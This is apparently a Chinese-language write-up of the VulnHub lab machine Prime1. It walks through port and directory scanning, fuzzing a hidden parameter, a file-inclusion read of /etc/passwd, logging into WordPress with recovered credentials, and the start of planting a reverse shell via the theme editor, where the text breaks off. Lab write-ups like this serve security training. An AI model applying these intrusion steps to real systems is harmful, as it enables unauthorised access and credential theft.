打靶记载 Prime1
https://www.vulnhub.com/entry/prime-1,358/主机发现端口扫描
[*]探测存活主机，137是靶机
nmap -sP 192.168.75.0/24
//
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-22 16:25 CST
Nmap scan report for 192.168.75.1
Host is up (0.00028s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.75.2
Host is up (0.00026s latency).
MAC Address: 00:50:56:FB:CA:45 (VMware)
Nmap scan report for 192.168.75.137
Host is up (0.0010s latency).
MAC Address: 00:0C:29:69:EE:71 (VMware)
Nmap scan report for 192.168.75.254
Host is up (0.00018s latency).
MAC Address: 00:50:56:F8:B3:1A (VMware)
Nmap scan report for 192.168.75.131
Host is up.
[*]扫描靶机所有开放端口
nmap -sT -min-rate 10000 -p- 192.168.75.137
//
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-22 17:54 CST
Nmap scan report for 192.168.75.137
Host is up (0.0014s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp openssh
80/tcp openhttp
MAC Address: 00:0C:29:69:EE:71 (VMware)
[*]扫描服务版本及系统版本
nmap -sT -sV -O -p22,80 192.168.75.137
//
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-22 17:57 CST
Nmap scan report for 192.168.75.137
Host is up (0.00045s latency).
PORT STATE SERVICE VERSION
22/tcp openssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp openhttp Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 00:0C:29:69:EE:71 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[*]udp扫描
nmap -sU 192.168.75.137
//
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-22 17:57 CST
Nmap scan report for 192.168.75.137
Host is up (0.00073s latency).
Not shown: 997 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc
631/udpopen|filtered ipp
5353/udp open|filtered zeroconf
MAC Address: 00:0C:29:69:EE:71 (VMware)
[*]扫描漏洞
nmap -script=vuln -p 22,80, 192.168.75.137
//
PORT STATE SERVICE
22/tcp openssh
80/tcp openhttp
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs:CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible.It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| http://ha.ckers.org/slowloris/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum:
| /wordpress/: Blog
|_/wordpress/wp-login.php: Wordpress login page.
|_http-dombased-xss: Couldn't find any DOM based XSS.
MAC Address: 00:0C:29:69:EE:71 (VMware)
扫描出 slowloris DOS用不上，以及cve2017-1001000 ，并且扫出存在wordpress 版本是http://192.168.75.137/javascript/ 403 -279B- /server-status/ 403 -279B- /server-status 200 - 1KB - /wordpress/wp-login.php 200 - 4KB - /wordpress/查看/dev ，由于它不是一个正常该有的目录
nikto -host 192.168.75.137 -port 22,80
//
- Nikto v2.5.0
---------------------------------------------------------------------------
---------------------------------------------------------------------------
+ Target IP: 192.168.75.137
+ Target Hostname: 192.168.75.137
+ Target Port: 80
+ Start Time: 2024-09-22 18:44:45 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozill.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render th content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/wb-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is th EOL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /wordpress/wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version.
+ /wordpress/wp-links-opml.php: This WordPress script reveals the installed version.
+ /wordpress/wp-admin/: Uncommon header 'x-redirect-by' found, with contents: WordPress.
+ /wordpress/: Drupal Link header found with value: <http://192.168.75.137/wordpress/index.php?rest_route=/>; rel="https://api.w.org/". See: https://www.drupal.org/
+ /wordpress/: A Wordpress installation was found.
+ /wordpress/wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /wordpress/wp-content/uploads/: Directory indexing found.
+ /wordpress/wp-content/uploads/: Wordpress uploads directory is browsable. This may reveal sensitive information.
+ /wordpress/wp-login.php: Wordpress login found.
+ 8106 requests: 0 error(s) and 14 item(s) reported on remote host
+ End Time: 2024-09-22 18:45:09 (GMT8) (24 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested意思是让我们更努力的去爆破目录？
[*]python .\dirsearch.py -u http://192.168.75.137/ --suffixes .txt,.zip 给字典加上.txt,.zip 后缀去爆破
200 -131B- /dev
200 -137B- /image.php
301 -321B- /javascript->http://192.168.75.137/javascript/
403 -279B- /server-status/
403 -279B- /server-status
200 - 1KB - /wordpress/wp-login.php
200 - 4KB - /wordpress/查看内容得出
hello,
now you are at level 0 stage.
In real life pentesting we should use our tools to dig on a web very hard.
Happy hacking. 让我们进行fuzz爆破，大概意思是让我们在所有php文件进行fuzz ，大概就是让我们fuzz出get参数
[*]扫描出所有php文件
http://192.168.75.137/secret.txt当前目录下只有两个php文件我们两个都试试
[*]对index.php进行fuzz
注意 --hh 136 需要对视情况进行调整，过滤掉其他结果后，最后得出file这个参数
Looks like you have got some secrets.
Ok I just want to do some help to you.
Do some more fuzz on every page of php which was finded by you. And if
you get any right parameter then follow the below steps. If you still stuck
Learn from here a basic tool with good usage for OSCP.
https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web
//see the location.txt and you will get your next move//
[*]访问http://192.168.75.137/index.php?file=
irb http://192.168.75.137 -X .php
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sun Sep 22 20:12:05 2024
URL_BASE: http://192.168.75.137/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php) | (.php)
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.75.137/ ----
+ http://192.168.75.137/image.php (CODE:200|SIZE:147)
+ http://192.168.75.137/index.php (CODE:200|SIZE:136)
-----------------
END_TIME: Sun Sep 22 20:12:08 2024
DOWNLOADED: 4612 - FOUND: 2大概file的参数也需要我们进行fuzz，实在这事burp也可以做
但是之前的secret.txt还有一句 : //see the location.txt and you will get your next move//
以是我们访问 ：http://192.168.75.137/index.php?file=location.txt
果然存在有信息
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.75.137/index.php?FUZZ=something
//hh 过滤掉了 字长为136的数据
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.75.137/index.php?FUZZ=something
Total requests: 951
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000341: 200 7 L 19 W 206 Ch "file"
Total time: 1.060608
Processed Requests: 951
Filtered Requests: 950
Requests/sec.: 896.6547让我们使用secrettier360 参数去别的php页面fuzz ，大概是
别的php页面除了index.php那就是image.php
[*]对image.php 进行fuzz
提示：Do something better you are digging wrong file得出参数dev ，实验访问：http://192.168.75.137/image.php?secrettier360=dev
Now dig some more for next one
use 'secrettier360' parameter on some other php page for more fun. WTF？这不是之前的/dev吗，但是发现你只要在secrettier360 加上文件名，那不就是文件包罗了吗?我这里大发奇想使用php伪协议实验，但是发现使用不了，应该是禁用了
[*]利用文件包罗漏洞
实验读取/etc/passwd
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 197 http://192.168.75.137/image.php?secrettier360=FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.75.137/image.php?secrettier360=FUZZ
Total requests: 951
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000257: 200 13 L 43 W 328 Ch "dev"
Total time: 1.031432
Processed Requests: 951
Filtered Requests: 950
Requests/sec.: 922.0189发现saket:x:1001:1001:find password.txt file in my directory:/home/saket: ，好好好
finaly you got the right parameter
hello, now you are at level 0 stage. In real life pentesting we should use our tools to dig on a web very hard. Happy hacking. 密码应该是follow_the_ippsec
[*]登录wordpress背景，用户名victor，密码follow_the_ippsec
为什么用户名是victor ，由于wordpress/index.php里面第一条信息就是victor 发布的，以是猜测用户名是victor ，成功进入背景
背景利用获得低级shell
<ol>进入背景，plugins → Add New → upload plugins ,上传反弹shell文件
https://img2024.cnblogs.com/blog/3504763/202409/3504763-20240922234607408-2049848625.png
发现没有上传权限，纵然设置关闭了以月份创建文件夹
探求别的地方上传shellcode
在Appearance→Theme Editor →secret.php 找到了可编辑保存的文件
我们将shellcode输进去
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